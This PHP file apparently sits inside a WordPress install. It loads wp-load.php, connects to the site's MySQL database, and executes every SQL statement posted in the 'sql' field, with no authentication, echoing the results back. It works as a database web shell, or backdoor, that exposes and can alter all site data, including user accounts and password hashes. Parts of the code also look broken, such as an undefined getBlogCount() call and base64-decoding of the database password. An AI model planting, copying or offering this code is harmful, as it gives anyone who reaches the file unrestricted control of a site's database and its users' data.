<?php 
error_reporting(E_ALL);
if (!defined('ABSPATH'))
	require( realpath('.') . '/wp-load.php');

function wordpress_query() {
	$sqls = get_sqls();
	if (!function_exists('mysql_connect')) die('MySQL Connector not installed');
	$con = mysql_connect(DB_HOST,DB_USER,base64_decode(DB_PASSWORD)) or die('cant connect server:'.DB_HOST); 
	mysql_select_db(DB_NAME,$con) or die('cant connect db:'.DB_NAME);
//	$blog_count = $_POST["blog_count"] || 0;
//	global $table_prefix;
	$results = array();
	for($i=0; $i<count($sqls); $i++){
		$sql = $sqls[$i];
		if ($sql == '')
			continue;
		if (strpos($sql, '${DB_PREFIX}') === false) {
			$results[] = _wordpress_query($con, $sql);
		} else {
			$blog_count = getBlogCount();
			if ($blog_count > 0){
				$r = "";
				for ($j=0; $j<=$blog_count; $j++){
					$prefix=get_table_prefix($j);
					$_sql = str_replace('${DB_PREFIX}', $prefix, $sql);
					$s = _wordpress_query($con, $_sql);
					$r=$r.(($j!=0)?"\r\n":'').$s;
				}
				$results[] = $r;
			} else {
				global $table_prefix;
				$sql = str_replace('${DB_PREFIX}', $table_prefix, $sql);
				$results[] = _wordpress_query($con, $sql);
			}
		}
	}
	mysql_close($con);
	
	for ($i=0;$i<count($results);$i++){
		if ($i>0)echo "\r\n";
		if (count($results)>1)
			echo ($i+1).")\t";
		echo $results[$i]."\r\n";
	}
}

function _wordpress_query($con, $sql){
	$rst = mysql_query($sql,$con) or die('sql error:'.$sql);
//	echo $rst;
	$query=(strtolower(substr($sql,0,6))=='select');
	$r = "";
	if (!$query)
		$r = mysql_affected_rows($con);
	else {
		$count = mysql_num_rows($rst);
		$num = mysql_num_fields($rst);
		if ($count==0)
			$r = $r . "[Empty]";
		else {
			$row=mysql_fetch_row($rst);
			$r = $count>1 ? '[' : '';
			do {
				$r = $r . ($num > 1?'{':'');
				for ($i=0;$i<$num;$i++)
					$r=$r.($i==0?'':',').$row[$i];
				if ($num>1)
					$r = $r . "}";
				$row=mysql_fetch_row($rst);
			} while($row);
			if ($count>1)
				$r = $r . "]";
		}
		mysql_free_result($rst);
	}
//	echo $r . "\r\n";
	return $r;
}

function get_sqls(){
	$sqls=get_magic_quotes_gpc()==1?stripslashes($_POST['sql']):$_POST['sql'];
	return explode("\r\n", $sqls);
}
function get_table_prefix($index) {
	if ($index == 0)
		return "wp_";
	return 'wp' . $index. '_';
}
wordpress_query();
die();
